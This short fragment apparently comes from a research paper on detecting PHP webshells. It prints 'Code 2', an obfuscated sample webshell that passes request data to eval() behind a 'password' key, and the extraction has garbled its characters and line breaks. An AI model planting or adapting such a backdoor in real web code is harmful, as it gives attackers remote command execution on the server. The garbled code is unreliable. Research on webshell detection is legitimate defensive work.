Webshell Detection Based on Executable Data Characteristics of PHP Code

Code 2

<?php

error_reporting(E_ALLˆE_NOTICE);

define(‘%uFFFD%uFFFD’,’%uFFFD%uFFFD%uF

FFD’);

$_SERVER[%uFFFD%uFFFD]=explode(‘|-|; |(

‘,“password”);

eval($_REQUEST[$_SERVER{%uFFFD%uFFFD}[

0]])

?>